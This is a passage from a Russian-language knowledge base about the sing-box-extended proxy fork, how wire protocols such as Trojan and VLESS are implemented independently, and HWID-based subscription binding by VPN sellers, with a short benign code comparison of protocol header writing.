управления парком серверов и пользователями — нишу, которую обычно закрывают отдельные панели типа Marzban или Remnawave. ### Удобства конфигурации - **Providers** — подписки на списки outbound из локального файла, встроенного списка или удалённого URL; понимает форматы sing-box JSON, Clash YAML, SIP008 и share-ссылки. - **Link Parser** — outbound можно задать прямо share-ссылкой (`vless://`, `vmess://`, `ss://`, `trojan://`, `hysteria://`, `hysteria2://`, `tuic://`) вместо развёрнутого JSON. - **Расширенные опции WireGuard** и **Unified Delay** (унифицированное измерение задержки узлов, как в Clash). ## Установка и примеры Проект собирается из исходников на Go 1.26 (Makefile/goreleaser), готовые сборки публикуются в [релизах на GitHub](https://github.com/shtorm-7/sing-box-extended/releases). Примеры конфигураций для добавленных функций лежат в директории [`examples`](https://github.com/shtorm-7/sing-box-extended/tree/extended/examples) репозитория. Формат конфига — тот же JSON sing-box, расширенный новыми типами inbound/outbound и сервисов. ## Отстаёт ли форк от оригинала Короткий ответ: от **стабильных** релизов — практически нет, от **ветки разработки** — да, и это нормально. Форк ведётся поверх стабильной линии sing-box (1.13.x), а не поверх ветки разработки. Цифры на 17 июля 2026 (по данным GitHub): - Последний стабильный релиз оригинального sing-box — **v1.13.14** от 25 июня 2026. Форк подхватил его **в тот же день**: релиз `v1.13.14-extended-2.5.0` вышел 25 июня 2026. История релизов показывает ту же скорость и раньше (v1.13.12 → extended-сборки в начале июня 2026). - [Сравнение веток](https://github.com/shtorm-7/sing-box-extended/compare/extended...SagerNet%3Asing-box%3Atesting) `extended` ↔ upstream `testing` показывает отставание на **2485 коммитов** — но `testing` это ветка разработки будущего 1.14.0 (на июль 2026 — alpha-стадия, `v1.14.0-alpha.46`). От неё отстают и сами стабильные релизы оригинала: это отставание от «завтрашней» версии, а не от актуальной. Проще говоря: пользователь sing-box-extended получает те же исправления, что и пользователь обычного стабильного sing-box, с задержкой порядка дней. Не получает он только того, что пока живёт исключительно в альфах 1.14.0 — новых протоколов и фич ветки разработки (часть из них, впрочем, автор форка добавляет сам раньше upstream: например, Snell появился в extended до того, как upstream добавил его в 1.14.0-alpha). > [!note] Критично ли это для безопасности протоколов > Скорее нет, с одной оговоркой. Исправления уязвимостей в стабильном коде upstream выпускает патч-релизами линии 1.13.x — форк вливает их в течение дней, так что окно уязвимости почти не расширяется. Оговорка в другом: криптография и реализации протоколов в форке частично живут в **собственных форках библиотек** автора (`shtorm-7/sing`, `shtorm-7/wireguard-go` и др. — см. [[sing-box/architecture|разбор архитектуры]]) плюс в тысячах строк собственного кода — фиксы upstream-библиотек доезжают туда только после ручного перебазирования автором, а собственный код форка upstream не аудирует вовсе. То есть риск не в «отставании по коммитам», а в обычном для любого форка расширении поверхности кода, за которой следит один мейнтейнер. ## Оговорки > [!warning] Сторонний форк — доверяй с оглядкой > sing-box-extended — проект одного основного разработчика, а не команды SagerNet. Кодовая база большая (тысячи коммитов поверх оригинала), и её аудирует заметно меньше людей, чем upstream. Для личного обхода блокировок это обычно приемлемый риск, но для сценариев, где компрометация прокси-сервера критична, стоит взвесить: чем больше экспериментальных функций в одном бинарнике, тем шире поверхность атаки. Часть функций (панель, Manager API) по определению открывает управляющие интерфейсы — их нужно закрывать аутентификацией и firewall-ом так же тщательно, как любую панель управления. > [!note] Числа устаревают > Статистика в заметке (46 релизов, ~400 звёзд, версия `v1.13.14-extended-2.5.1`, Go 1.26) — снимок по данным GitHub на июль 2026. Актуальное состояние смотри в самом репозитории. ## 📚 См. также - [[sing-box/architecture|Архитектура sing-box-extended]] — разбор исходников: ядро, registry-паттерн, реализация протоколов, лимитеры, manager-подсистема - [[sing-box/wire-protocol-explained|Что такое wire-протокол]] — с нуля: почему разные программы понимают друг друга и что такое двойная реализация протокола - [[sing-box/protocols-origin|Откуда код протоколов]] — sing-box vs Xray-core: независимые реимплементации, а не общий код - [[sing-box/hardcoded-defaults|Хардкод-константы и дефолты]] — порты по умолчанию, таймауты, магические числа - [[xray/project-x|Project X / Xray-core]] — главная альтернативная экосистема; сравнение ролей ядер - [[Clash/08-vs-sing-box|mihomo против sing-box и Xray]] — сравнение трёх универсальных ядер по осям: конфиг, маршрутизация, экосистема, роль в сети - [[protocols/naiveproxy|NaiveProxy]] — протокол, который из трёх ядер поддерживает только sing-box - [[protocols/00-overview|Обзор протоколов]] — карта протоколов обхода и таблица поддержки в ядрах - [[Clash/02-mihomo|mihomo (Clash.Meta)]] — третье живое ядро; его YAML-подписки sing-box умеет разбирать как один из форматов провайдера - [[xray/vless|Протокол VLESS]] — протокол, чьё шифрование форк переносит из Xray - [[xray/xhttp|XHTTP]] — транспорт через CDN, добавленный в форк - [[xray/clients-and-routing|Клиенты и маршрутизация]] — синтаксис маршрутизации sing-box на примере клиента NekoBox - [[amnezia-2-0/reference|Amnezia 2.0]] — обфускация WireGuard, поддерживаемая форком - [[Hysteria/00-overview|Hysteria]] — один из протоколов, поддерживаемых и оригинальным sing-box - [[mtproxy/mtproto-zig|MTProto-прокси]] — устройство протокола, серверную часть которого добавляет форк - 🔗 [github.com/shtorm-7/sing-box-extended](https://github.com/shtorm-7/sing-box-extended) — репозиторий форка - 🔗 [github.com/SagerNet/sing-box](https://github.com/SagerNet/sing-box) — оригинальный sing-box - 🔗 [sing-box.sagernet.org](https://sing-box.sagernet.org/) — документация оригинального sing-box --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/sing-box/sing-box-extended.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-20 tags: - sing-box - proxy - обзор-раздела aliases: - sing-box раздел - sing-box-extended обзор - синг-бокс что это --- # 📦 sing-box и sing-box-extended — раздел > [!info] О чём раздел > Заметки об универсальной прокси-платформе **sing-box** и её форке **sing-box-extended** (от разработчика shtorm-7) с десятками дополнительных протоколов. Разбор ведётся по исходному коду — от обзора форка до устройства wire-протоколов. ## Заметки раздела Порядок — от знакомства к глубоким деталям: - [[sing-box/sing-box-extended|sing-box-extended — форк с расширенными функциями]] — обзор: что добавлено относительно upstream sing-box и зачем. - [[sing-box/architecture|Архитектура sing-box-extended]] — как форк устроен изнутри. - [[sing-box/protocols-origin|Откуда в sing-box код протоколов]] — своя реализация или копия Xray: есть ли вообще разница. - [[sing-box/wire-protocol-explained|Что такое «wire-протокол»]] — объяснение с нуля: почему один протокол реализуют дважды и что такое формат «на проводе». - [[sing-box/hardcoded-defaults|Хардкод-константы и дефолты]] — справочник значений, зашитых в исходники: порты, таймауты, размеры буферов. ## 📚 См. также - [[xray/xray|Раздел Xray]] — соседнее прокси-ядро, у которого sing-box перенимает протоколы - [[Clash/00-overview|Раздел Clash]] — клиентская маршрутизация, где sing-box часто работает сервером --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/sing-box/sing-box.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip). --- --- date: 2026-07-18 tags: - протоколы - основы - sing-box - для-новичка aliases: - Что такое wire-протокол - Двойная реализация протокола - Почему разные программы понимают друг друга - wire format простыми словами --- # 🧵 Что такое «wire-протокол» и почему один протокол реализуют дважды > [!info] О чём заметка > Объяснение с нуля, но без упрощений: что такое протокол «на проводе» (wire format), почему две программы, написанные разными людьми и не видевшие кода друг друга, всё равно понимают друг друга, как устроена культура интернет-стандартов, которая это обеспечивает, и зачем вообще писать вторую реализацию одного протокола вместо копирования чужого кода. Заметка нужна как фундамент к разбору [[sing-box/protocols-origin|«Откуда в sing-box код протоколов»]], где показано, что ядра sing-box и Xray-core совместимы по VLESS/Trojan/REALITY, но общего кода почти не имеют. ## TL;DR - **Протокол — это не программа, а договорённость**: какие байты, в каком порядке и в ответ на что летят по сети между двумя программами. - **«Wire format» (формат на проводе)** — точное описание этих байтов. Слово «wire» (провод) подчёркивает: важно только то, что видно на проводе, а не то, что творится внутри программ. - Две программы совместимы, если выкладывают на провод **одинаковые байты** и одинаково реагируют на входящие — даже если написаны на разных языках разными людьми. Совместимость проверяется на границе, а не по коду. - Поэтому один протокол можно реализовать **дважды независимо** (это называют реимплементацией) — ради другого языка, другой лицензии, своей архитектуры или чтобы не наследовать чужие баги. Это не то же самое, что «форк» — копия чужого кода. - Вы каждый день пользуетесь этим принципом: любой браузер открывает любой сайт, любая почта пишет любой почте, любой архиватор открывает чужой ZIP. ## Сначала — что такое протокол вообще Представьте, что две программы в разных концах интернета хотят обмениваться данными. Чтобы понять друг друга, им нужна заранее оговорённая система правил: кто первый здоровается, в каком виде передаётся адрес, где заканчивается одно сообщение и начинается следующее. Вот эта система правил и есть **протокол**. Ключевая мысль, которую легко упустить новичку: **протокол — это не код и не программа**. Это договорённость, документ, спецификация. А **программа, которая эти правила соблюдает, — это уже реализация** протокола. Одну и ту же договорённость могут соблюдать сколько угодно разных программ. > [!example] Аналогия: язык > Протокол — это язык, на котором две программы разговаривают. Спецификация протокола — учебник грамматики этого языка. Реализация — конкретный человек, который на этом языке говорит. Людей, знающих английский, миллионы, у каждого свой мозг и свой характер — но язык один, поэтому они понимают друг друга. Точно так же: у двух программ «мозги» (внутренний код) могут быть совершенно разные, но если обе «говорят на VLESS», они друг друга поймут. > > Где аналогия ломается: живые языки допускают неточность и «поймёшь по контексту», а сетевой протокол — нет. Перепутал один байт — и собеседник не понял вообще ничего (соединение рвётся). Протокол ближе к строгому машинному языку, чем к живой речи. ## «Wire format»: смотрим только на провод Слово **wire** (провод, кабель) в термине «wire format / wire protocol» означает буквально: нас интересует только то, что реально бежит по сетевому кабелю между двумя программами — конкретная последовательность байтов. Что программа думает внутри, на каком языке написана, как хранит данные в памяти — за пределами провода это никого не касается. Проще говоря: wire-протокол описывает **поведение снаружи** и молчит про **устройство внутри**. Именно поэтому «внутренности» у двух совместимых программ могут отличаться радикально. > [!example] Аналогия: шахматы по переписке > Гроссмейстер из Бразилии и любитель из Японии играют партию по почте. Думают они по-разному, на разных языках, один считает варианты в уме, другой двигает фигуры на доске. Но записывают ходы они одинаково — общей шахматной нотацией (`e2-e4`). И этого достаточно, чтобы сыграть партию. > > Здесь нотация ходов = wire-протокол, а мышление игрока = реализация (внутренний код). Аналогия точная сразу в трёх местах: есть формат сообщения (запись хода), есть очерёдность (ходят по очереди — это то, что в протоколах называют «машиной состояний»), и есть правило «некорректный ход отклоняется» — ровно как программа отвергает неправильный пакет. ## Как это выглядит в реальных байтах Чтобы «одинаковые байты на проводе» перестали быть абстракцией — вот реальный пример. Протокол **Trojan** (один из способов обойти блокировки) описывает заголовок запроса так: сначала 56 байт (пароль в виде хеша), потом разделитель `\r\n`, потом 1 байт команды, потом адрес назначения, снова `\r\n`, и дальше сами данные. Теперь самое важное: и sing-box, и Xray-core — два независимых проекта — порождают на проводе **ровно эту последовательность**. Вот их код рядом (упрощённо): ``` sing-box (transport/trojan/protocol.go): Xray-core (proxy/trojan/protocol.go): header.Write(key[:]) // 56 байт buffer.Write(c.Account.Key) // 56 байт header.Write(CRLF) // \r\n buffer.Write(crlf) // \r\n header.WriteByte(CommandTCP) // 1 байт buffer.WriteByte(command) // 1 байт SocksaddrSerializer.WriteAddrPort(...) addrParser.WriteAddressPort(...) header.Write(CRLF) // \r\n buffer.Write(crlf) // \r\n ``` Код разный: разные имена функций, разные библиотеки, разный стиль. А байты на выходе — **одни и те же**: `пароль(56) + \r\n + команда(1) + адрес + \r\n + данные`. Именно поэтому Trojan-клиент от sing-box без проблем подключается к Trojan-серверу на Xray, и наоборот. Не потому что у них общий код — а потому что оба следуют одному описанию байтов. Тот же принцип — на более сложном протоколе [[xray/vless|VLESS]]. Его заголовок устроен так: 1 байт версии (`0x00`), затем 16 «сырых» байт UUID пользователя (именно 16 байт, а не 36-символьная строка с дефисами), 1 байт длины дополнительных полей (addons), сами addons, 1 байт команды, адрес с портом, данные. И снова оба ядра пишут ровно эту раскладку — но по-разному в коде: Xray-core собирает addons «правильным» способом через библиотеку protobuf (`proto.Marshal`), а sing-box кодирует те же байты вручную, разбирая protobuf-поля по номерам (`case 0x0A:` — это поле flow). Подход к коду противоположный, результат на проводе идентичный. Пустой VLESS-заголовок для TCP получается длиной `1 + 16 + 1 + 1 = 19` байт плюс адрес — и у того, и у другого. > [!note] Мелкая, но показательная деталь > В обоих проектах длина пароля-хеша «зашита» числом 56 (это SHA224, записанный шестнадцатеричными символами: 28 байт хеша → 56 символов). Оба автора независимо написали в коде именно 56 — потому что так сказано в спецификации Trojan. Отклонись один из них хоть на байт — совместимость сломалась бы. Разбор таких зашитых чисел — в [[sing-box/hardcoded-defaults|заметке о хардкод-константах]]. ## Откуда берётся сама спецификация Раз протокол — это документ-договорённость, встаёт вопрос: где этот документ и кто его пишет? Вариантов несколько, и они различаются по надёжности: - **Формальный стандарт (RFC).** Самые фундаментальные интернет-протоколы (HTTP, электронная почта SMTP, TLS) описаны в открытых документах RFC (Request for Comments), которые публикует организация IETF. Название скромное («запрос комментариев»), но принятые RFC — фактически законы интернета: открытые, бесплатные, максимально однозначные. - **Документ автора (README, markdown-файл).** У большинства протоколов обхода блокировок ([[xray/vless|VLESS]], Shadowsocks, Trojan) спецификация — это не RFC, а просто файл с описанием в репозитории автора. Менее формально, но работает. - **Эталонная (reference) реализация.** Иногда отдельного документа нет вообще, и «спецификация» — это код самого автора: читаешь его исходник и повторяешь поведение. Минус: непонятно, где в поведении задумка, а где случайность или баг, который тоже придётся скопировать, чтобы остаться совместимым. - **Реверс-инжиниринг.** Если протокол закрыт, его восстанавливают, наблюдая за трафиком (перехват в Wireshark, анализ байтов, проверка гипотез). Трудоёмко и хрупко: автор поменяет протокол — всё ломается. В теме приватности это работает в обе стороны: и разработчики восстанавливают закрытые протоколы сервисов, и цензоры-DPI реверс-инжинирят протоколы обхода, чтобы научиться их узнавать по тому самому [[VLESS/dpi-tls-june-2026|почерку на проводе]]. ### Где лежат спецификации протоколов обхода блокировок Полезно понимать, что у знакомых по этому vault протоколов уровень формализации очень разный — от почти-RFC до «источник истины — это код автора». Это напрямую влияет на то, насколько легко и надёжно написать совместимую реализацию. | Протокол | Есть ли текстовая спецификация | Что служит источником истины | |---|---|---| | Shadowsocks 2022 | Да, в RFC-подобном стиле (со словами MUST/SHOULD), репозиторий `Shadowsocks-NET/shadowsocks-specs` | **Спецификация** — код следует за ней | | TUIC | Да, файл `SPEC.md` в репозитории, байтовый формат расписан | Спецификация | | Hysteria2 | Да, раздел Protocol в документации, нормативный стиль | Спецификация (детали — по коду `apernet/hysteria`) | | Trojan | Да, страница «The Trojan Protocol» с диаграммами, но короткая | Спецификация + код для пограничных случаев | | VMess | Да, но описательная, «вслед за кодом» | **Код** v2ray/Xray | | [[xray/vless\|VLESS]] | Есть, но сама помечена «не обязательно авторитетная» | **Код** Xray-core | | [[xray/reality\|REALITY]] | Нет, только README с идеями | **Код** — REALITY это форк `crypto/tls`, читать надо исходники | Главный вывод: **отсутствие RFC не означает отсутствия стандарта**. Для многих протоколов обхода работает модель «эталонная реализация как спецификация» (reference implementation as specification): практический источник истины — это код автора, а текстовое описание либо появилось позже и догоняет код (VLESS, VMess), либо не существует вовсе (REALITY). Крайние точки спектра — Shadowsocks 2022 (спецификация первична, реализации следуют за ней) и REALITY (никакого документа, только Go-исходники). ## Зачем писать вторую реализацию, а не скопировать код Если протокол уже кем-то реализован, почему бы просто не взять готовый код? Причины, по которым команды пишут свою реализацию с нуля: - **Другой язык или платформа.** Оригинал написан на Go, а нужен клиент на Kotlin для Android, на Swift для iPhone, на Rust ради безопасности. Чужой код не перенесёшь между языками — а протокол переносится легко: читаешь спецификацию, пишешь заново. - **Лицензия.** Копирование кода тянет за собой его лицензию (например, GPL с её требованиями). Независимая реализация по описанию протокола — юридически чистый способ получить совместимость под своей лицензией. - **Своя архитектура и скорость.** Свой код встраивается в собственную структуру проекта и оптимизируется под свои сценарии. Классический пример из мира игр: серверы Minecraft вроде Paper быстрее официального именно потому, что переписали внутренности, сохранив протокол. - **Контроль и доверие.** Свой код можно полностью проверить (аудит) и не унаследовать чужие ошибки или закладки. Для инструментов приватности это принципиально. - **Проверка самой спецификации.** Если протокол удалось независимо реализовать дважды и обе реализации совместимы — значит, описание полное и однозначное. У IETF наличие двух независимых совместимых реализаций исторически было признаком зрелости стандарта. > [!tip] Реимплементация ≠ форк > Важно не путать два слова. **Форк** — это копия чужого кода, которую дальше правят под себя (так [[xray/project-x|Xray-core]] произошёл от v2ray-core). **Реимплементация** — это новый код, написанный с нуля по спецификации, без копирования оригинала. sing-box относительно Xray — это в основном реимплементация протоколов (свой код, совместимый по байтам), а не форк. Подробный разбор, что именно в sing-box реимплементировано, а что всё-таки скопировано, — в [[sing-box/protocols-origin|отдельной заметке]]. ## Несколько реализаций одного протокола — это норма индустрии Принцип «один протокол — много независимых реализаций» — не экзотика из мира VPN, а фундамент всего интернета. Вы пользуетесь им каждый день: - **Веб (HTTP).** Серверы nginx, Apache, Caddy, IIS и клиенты Chrome, Firefox, curl написаны разными командами на разных языках, ни один не заглядывал в код другого — но любой браузер открывает любой сайт, потому что все следуют одному контракту (документы RFC 9110–9114 про HTTP). nginx написал человек, никогда не видевший исходников Chrome, — и всё работает. - **Почта (SMTP).** Письмо из Gmail спокойно доходит до Outlook или почтового сервера провайдера. Серверы Postfix, Exim, Microsoft Exchange написаны разными компаниями, а «разговор» между ними задан спецификацией ещё 1982 года (RFC 821, ныне RFC 5321). - **DNS.** BIND, Unbound, PowerDNS, Knot — независимые реализации системы доменных имён. Причём здесь множественность реализаций — ещё и осознанная политика надёжности: корневые серверы интернета намеренно работают на разном софте, чтобы одна ошибка в одной программе не положила весь DNS сразу. - **Торренты, архивы.** qBittorrent, Transmission, Deluge качают один торрент друг у друга; WinRAR, 7-Zip и встроенный распаковщик Windows открывают один ZIP — всем достаточно одинаково понимать формат, код у каждого свой. Во всех случаях совместимость держится не на общем коде, а на общем **описании того, что летит по проводу**. ### Культура, которая это придумала: «rough consensus and running code» За этим стоит целая инженерная традиция. Интернет-стандарты пишет **IETF** (Internet Engineering Task Force) — открытая организация без формального членства, где участвовать может любой через рабочие группы и почтовые рассылки. Её знаменитый девиз сформулировал инженер Дэвид Кларк из MIT в 1992 году: «мы отвергаем королей, президентов и голосование; мы верим в грубый консенсус и работающий код». Смысл в том, что стандарт признаётся зрелым не по авторитету и не голосованием, а тогда, когда существует несколько **независимых реализаций, которые реально работают вместе**. То есть двойная независимая реализация — это не побочный эффект, а прямо встроенный в культуру интернета критерий качества стандарта. Есть и правило, объясняющее, почему разные реализации уживаются, — **принцип Постела** (Джон Постел, спецификация TCP 1980 года): «будь строг к тому, что отправляешь, и снисходителен к тому, что принимаешь». Отправляй строго по спецификации, но принимай входящее терпимо, прощая мелкие вольности чужих реализаций. ### Даже авторы протокола пишут его несколько раз Показательный случай — **WireGuard** (современный VPN-протокол). Его придумал Джейсон Доненфельд, и он же ведёт **несколько независимых кодовых баз одного протокола** на разных языках: реализацию внутри ядра Linux на C, кроссплатформенную `wireguard-go` на Go (именно она работает внутри официальных приложений для Windows, macOS, Android, iOS), плюс отдельные реализации под ядра Windows и BSD. Одна договорённость (описание протокола в научной статье автора) — и несколько воплощений, потому что контракт первичен, а код вторичен и подстраивается под платформу. Кстати, именно `wireguard-go` (в форке автора [[sing-box/sing-box-extended|sing-box-extended]]) лежит в основе поддержки WireGuard и [[amnezia-2-0/reference|Amnezia 2.0]] в sing-box. Ещё пример из мира, знакомого не только программистам: серверы **Minecraft**. Официальный сервер закрыт, но энтузиасты годами документировали его сетевой протокол, и по этому описанию с нуля, без единой строчки чужого кода, написаны совместимые серверы (Glowstone на Java, Cuberite на C++). Обычный клиент подключается к ним, потому что они говорят те же байты. Важно не путать их с модификациями вроде Paper — те как раз являются форками официального кода, а не независимыми реализациями. ### Контрпример: что бывает, когда спецификации нет Ценность открытого контракта лучше всего видна там, где его не было. Классическая история — **Samba**, свободная реализация протокола общего доступа к файлам Windows (SMB). Её автор начал работу в 1992 году, восстанавливая протокол реверс-инжинирингом трафика, потому что Microsoft документацию не публиковала и меняла протокол без предупреждения. Итог — десятилетия догоняющей разработки и постоянные баги совместимости. Развязка пришла не технически, а юридически: после антимонопольного дела Еврокомиссии Microsoft в 2007 году обязали открыть документацию протоколов — и разработка Samba радикально упростилась. Мораль: несколько независимых реализаций получаются дёшево и надёжно, **когда есть опубликованный контракт**. Без него совместимость всё равно достижима — через реверс-инжиниринг, — но ценой долгой борьбы и бесконечного хвоста мелких несовместимостей. Именно поэтому для протоколов обхода блокировок так важно, есть ли у них внятная спецификация (см. таблицу выше): [[xray/reality|REALITY]] без документа реализовать заметно тяжелее, чем Shadowsocks 2022 с его RFC-подобным описанием. ## 📚 См. также - [[sing-box/protocols-origin|Откуда код протоколов в sing-box]] — применение всего этого на практике: sing-box vs Xray-core, что реимплементировано, а что скопировано - [[sing-box/hardcoded-defaults|Хардкод-константы и дефолты]] — те самые «зашитые в код числа» (вроде 56 байт пароля Trojan), от которых зависит байтовая совместимость - [[sing-box/sing-box-extended|sing-box-extended]] — прокси-платформа, на примере которой всё разбиралось - [[xray/project-x|Project X / Xray-core]] — пример настоящего форка (копии кода), в отличие от реимплементации - [[xray/vless|Протокол VLESS]] — конкретный wire-протокол, реализованный независимо в обоих ядрах - [[VLESS/dpi-tls-june-2026|Как DPI узнаёт протокол по почерку]] — обратная сторона: цензор смотрит на те же байты на проводе --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/sing-box/wire-protocol-explained.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-25 tags: - подписки - приватность - hwid - клиенты - панели aliases: - HWID-привязка - Привязка к клиенту - HWID device limit - Лимит устройств link: https://docs.rw/docs/features/hwid-device-limit/ --- # 🔒 HWID-привязка и запрет «чужих» клиентов: как продавцы ограничивают выбор > [!info] О чём заметка > Разбор двух практик, которые встречаются у продавцов VPN-подписок: **привязка подписки к идентификатору устройства (HWID)** и **ограничение списка допустимых клиентов**. Здесь: как это устроено технически, почему прокси-ядра ([[Clash/02-mihomo|mihomo]], [[sing-box/sing-box-extended|sing-box]], [[xray/project-x|Xray-core]]) об этом ничего не знают, что ограничение даёт продавцу и чем оборачивается для пользователя. Про сами клиенты — в [[Clash/07-clients|обзоре оболочек]] и [[xray/clients-and-routing|клиентах Xray]]. ## TL;DR - **Ни один прокси-протокол не знает, с какого устройства вы подключаетесь.** Сервер аутентифицирует пользователя по UUID или паролю — и всё. HWID в [[xray/vless|VLESS]], [[protocols/trojan|Trojan]] или [[protocols/shadowsocks|Shadowsocks]] отсутствует как понятие. - Привязка живёт **этажом выше** — в HTTP-запросе за подпиской. Панель управления требует от клиента заголовок с идентификатором устройства (в Remnawave это `x-hwid`, плюс необязательные `x-device-os`, `x-ver-os`, `x-device-model`, `user-agent`), и **без него отдаёт 404** — подписку нельзя ни добавить, ни обновить. - Отсюда и запрет «чужих» клиентов: заголовок умеют слать не все. По документации Remnawave это Happ, v2RayTun, Koala Clash, FlClashX, Prizrak-Box, Throne; в v2rayN, Hiddify и Passwall на июль 2026 висят открытые запросы на такую поддержку. - Вторая форма привязки — **на стороне клиента**: Happ поддерживает шифрованные подписки `happ://crypto...`, скрывающие адреса серверов, и настройку, запрещающую подписчику просматривать и редактировать конфигурацию. - У ограничений есть понятная цель — борьба с перепродажей одного аккаунта на десятки людей. Но у пользователя оно отнимает свободу выбора ядра, а продавцу отдаёт **инвентарь ваших устройств** и журнал их активности. - Этот проект такие ограничения не применяет: конфигурация выдаётся в открытом виде, HWID не собирается, конкретный клиент не навязывается. ## Что вообще ограничивают Стоит развести два разных механизма, которые в разговорах смешивают. **Первое — лимит устройств (HWID device limit).** Подписка привязывается к идентификаторам устройств: сервер запоминает, с каких из них её загружали, и не даёт превысить установленное число. Формулировка задачи легитимная — один оплаченный доступ не должен работать у сорока человек одновременно. **Второе — ограничение выбора клиента.** Прямое следствие первого: раз для работы нужен особый заголовок, годятся только те приложения, которые умеют его отправлять. Клиент без поддержки получает от панели ошибку и подписку добавить не может — независимо от того, оплачен ли доступ. К этому добавляется третья, необязательная надстройка: **скрытие самой конфигурации от пользователя**, чтобы он не смог унести адреса серверов в другое приложение. Проще говоря: сервер по-прежнему готов вас обслужить с любого клиента — просто вам не дают взять у него настройки. Ограничение построено не на протоколе, а на доступе к конфигу. ## Как это работает технически Разберём на примере панели **Remnawave**, где механизм задокументирован явно ([HWID device limit](https://docs.rw/docs/features/hwid-device-limit/)). Когда клиент идёт по ссылке подписки, он отправляет обычный HTTP-запрос. При включённом лимите панель ожидает в этом запросе набор заголовков: - **`x-hwid`** — идентификатор устройства, **обязательный**; - `x-device-os`, `x-ver-os`, `x-device-model` — операционная система, её версия и модель устройства; - `user-agent` — название и версия приложения. Дальше логика простая. Заголовка `x-hwid` нет — панель отвечает **404**, и пользователь не может ни добавить подписку, ни переподключить её заново. Заголовок есть — панель регистрирует устройство и сверяет, не превышен ли лимит. Идентификатор при этом **генерирует само приложение** и хранит у себя; это не «серийный номер процессора», а стабильная строка, привязанная к установке. Отсюда практическое следствие: переустановка клиента или смена устройства нередко занимает слот, и его приходится освобождать через продавца. > [!note] Лимит устройств — не криптографическая защита > Механизм держится на добросовестности клиентского приложения: заголовок формирует и отправляет сам клиент. В апреле реализации встречались и ошибки в серверной части — в Remnawave, например, публиковалось предупреждение о состоянии гонки (race condition) в логике регистрации устройств, позволявшем зарегистрировать больше устройств, чем разрешено ([GHSA-985p-44h5-v3pq](https://github.com/remnawave/backend/security/advisories/GHSA-985p-44h5-v3pq)). Конкретная ошибка исправлена, но общий вывод остаётся: лимит — административная мера, а не гарантия. ## Что при этом делают ядра: ничего Это ключевой раздел, ради которого заметка и написана. **Прокси-ядра к HWID-привязке непричастны.** Ни [[Clash/02-mihomo|mihomo]], ни [[sing-box/sing-box-extended|sing-box]], ни [[xray/project-x|Xray-core]] не имеют понятия «идентификатор устройства». Всё, что знает сервер при подключении, — это учётные данные: UUID пользователя в [[xray/vless|VLESS]] и [[protocols/vmess|VMess]], хеш пароля в [[protocols/trojan|Trojan]], ключ в [[protocols/shadowsocks|Shadowsocks]]. В спецификациях протоколов поля «с какого устройства» просто нет. Из этого следуют три практических вывода. **Конфиг работает где угодно.** Если у вас на руках ссылка `vless://…`, она заведётся в любом ядре, поддерживающем нужный протокол и транспорт: в mihomo, в sing-box, в Xray-core, в клиенте на роутере. Сервер аутентифицирует вас по UUID и не различает приложения. **Ломается не подключение, а получение конфига.** При включённом HWID-лимите вы упираетесь в стену на шаг раньше — на этапе загрузки подписки. Симптом узнаваемый: клиент сообщает об ошибке 404 или «подписка не найдена», хотя ссылка верная и оплата в порядке. Это не поломка ядра и не блокировка провайдером, а отказ панели отдать конфигурацию приложению без нужного заголовка. **Автообновление подписки становится точкой отказа.** Даже если конфиг однажды получен вручную, при ротации серверов у продавца обновление не пройдёт — и узлы перестанут работать по мере смены адресов. > [!tip] Как проверить, включена ли привязка > Откройте ссылку подписки обычным браузером или запросите её через `curl`. Если возвращается конфигурация — HWID-лимита нет, и вы свободны в выборе ядра. Если приходит 404 или пустой ответ, а в «правильном» клиенте подписка работает — значит, панель фильтрует запросы по заголовкам. Отдельный признак — ссылка вида `happ://crypto...`: это шифрованная подписка, рассчитанная на конкретное приложение. ## Привязка на стороне клиента Второй слой ограничений реализован не панелью, а самим приложением. У Happ, по [его документации](https://www.happ.su/main/ru/faq/adding-configuration-subscription), есть **шифрованные подписки** (ссылки начинаются с `happ://crypto…`), которые скрывают настройки серверов и сам адрес подписки, и **настройка, отключающая просмотр и редактирование конфигурации** для подписчиков — причём как для уже добавленных подписок, так и для будущих. Оценивать это стоит без демонизации: **Happ — просто клиент**, он не продаёт доступ, а даёт продавцам инструменты, и те решают, включать их или нет. Вопрос не к приложению, а к тому, кто продаёт вам подписку с такими настройками. Но следствие для пользователя однозначное: **вы не видите, к какому серверу подключаетесь**. Нельзя проверить адрес и страну выхода, нельзя перенести доступ в другое ядро, нельзя посмотреть, какие параметры маскировки вам выдали. Доверие к продавцу перестаёт быть проверяемым — а в теме обхода блокировок это дорого стоит: именно возможность посмотреть конфигурацию отличает «сервис, которому я доверился осознанно» от «чёрного ящика с моим трафиком внутри». ## Что это значит для приватности HWID — **стабильный идентификатор**, который приложение отправляет при каждом обращении за подпиской. Вместе с сопутствующими заголовками продавец получает: - **список ваших устройств** — сколько их, какие операционные системы, версии и модели; - **журнал обращений** — когда и с какого устройства подписка обновлялась, то есть косвенную картину вашей активности и смены устройств; - **устойчивую связку** «аккаунт ↔ конкретные устройства», которая переживает смену IP-адреса. Ничего из этого не требуется для того, чтобы прокси работал. Это данные, собираемые ради контроля за перепродажей — и, как любые собранные данные, они могут утечь, быть переданы или запрошены. Общая логика тут та же, что и в остальных заметках про слежку: **чем меньше стабильных идентификаторов вы раздаёте, тем меньше связок можно построить**; про механику таких связок в вебе — в [[Localhost-tracking-Meta-Yandex-SOCKS5|разборе локальной слежки Meta и Яндекса]]. > [!warning] Обратная сторона: у ограничений есть причина > Справедливо признать и мотив продавца. Один аккаунт, разошедшийся по десяткам людей, съедает канал, ухудшает связь остальным и повышает шанс, что сервер попадёт под блокировку из-за подозрительной активности. Лимит 